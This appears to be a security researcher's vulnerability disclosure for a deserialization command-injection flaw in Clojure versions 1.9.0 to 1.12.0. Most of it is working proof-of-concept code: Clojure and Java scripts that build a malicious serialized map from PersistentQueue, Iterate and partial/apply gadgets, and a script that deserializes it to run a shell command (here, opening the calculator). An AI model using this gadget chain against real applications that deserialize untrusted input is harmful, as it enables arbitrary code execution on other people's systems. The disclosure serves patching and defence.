# Vulnerability Details - Clojure \[1.9.0-1.12.0\] Command Injection by Deserialization ## Vulnerability Description Under org.clojure:clojure (1.9.0 - 1.12.0), there exists a OS Command Injection initiated through deserialization. Arbitrary command execution can be achieved by constructing suitable objects. The latest conclusion is that the poc generated by the same version of clojure can directly affect the command execution in the corresponding version, without considering the fn 5920 anonymous function class, see New Way Clojure. > `core$partial$fn__5920` is actually obtained by reading the jar file, and I am not very familiar with Clojure. > > The discovery of this vulnerability was made using a private tool, but due to a lack of knowledge in Clojure. ## Verification Demonstration ### Vulnerability demo ![Command Injection](https://hackmd.io/_uploads/SydjtCXKT.png) ## clojure - Version Build POC by obtaining anonymous function classes, skipping version restrictions and without process$start. ```clojure (ns poc.clojure.command (:import (clojure.lang PersistentQueue) (java.util HashMap ArrayList)) (:require clojure.java.process)) (defn set-private-field [obj field-name value] (let [field (-> (.getClass obj) (.getDeclaredField field-name))] (.setAccessible field true) (.set field obj value))) (defn modify-and-process-model [iterate] ;; 创建 PersistentQueue (let [model (PersistentQueue/EMPTY)] ;; 使用 set-private-field 修改 model (set-private-field model "f" iterate) ;; 返回修改后的 model model)) (defn main [] ;; 创建 HashMap (let [map (HashMap.) args ["open" "-a" "calculator"] ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数 fn_start (ns-resolve 'clojure.java.shell 'sh) partial-fn (partial apply fn_start) ;; 使用 clojure.core/iterate 创建 iterate 实例 iterate-instance (iterate partial-fn args)] (let [model (modify-and-process-model iterate-instance)] (set-private-field model "_hash" (int 1)) (.put map model nil) (set-private-field model "_hash" (int 0))) ;; 序列化 map (let [out (java.io.ByteArrayOutputStream.) obj-out (java.io.ObjectOutputStream. out)] (.writeObject obj-out map) (println "Writing is done. Reading...") ;; 反序列化 (let [in (java.io.ByteArrayInputStream. (.toByteArray out)) obj-in (java.io.ObjectInputStream. in)] (.readObject obj-in))) ) ) ;; 调用 main 函数 (main) ``` ## Verification Script Serialization Data Generation Script ```java package poc.clojure.rce; import clojure.core$apply; import clojure.core$partial$fn__5920; import clojure.java.process$start; import clojure.lang.*; import org.apache.commons.lang3.reflect.FieldUtils; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.HashMap; import java.util.List; /** * @author fe1w0 * @date 2024/1/15 19:20 * @Project PocALL */ public class PocOne { public static void main(String[] args) throws IllegalAccessException { HashMap<PersistentQueue, Object> map = new HashMap<>(); List array = new ArrayList(); process$start p_start = new process$start(); ArrayList iterate_x = new ArrayList(); iterate_x.add("open"); iterate_x.add("-a"); iterate_x.add("calculator"); core$apply apply = new core$apply(); core$partial$fn__5920 core = new core$partial$fn__5920(apply, p_start); Iterate iterate = (Iterate) Iterate.create(core, iterate_x); array.add(iterate); PersistentQueue model = PersistentQueue.EMPTY; FieldUtils.writeField(model, "f", iterate, true); FieldUtils.writeField(model, "_hash", 1, true); map.put(model, null); FieldUtils.writeField(model, "_hash", 0, true); try { FileOutputStream fileOut = new FileOutputStream("output/clojure.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(map); out.close(); fileOut.close(); System.out.println("Serialized data is saved in output/clojure.ser"); } catch (IOException i) { i.printStackTrace(); } // seq.hashCode(); } } ``` Clojure DeSerialization Script ```clojure (ns poc.clojure.rce) (defn deserialize-obj [filename] (with-open [inp (-> (java.io.File. filename) java.io.FileInputStream. java.io.ObjectInputStream.)] (.readObject inp))) (deserialize-obj "/Users/fe1w0/Project/Poc/PocALL/output/clojure.ser") ```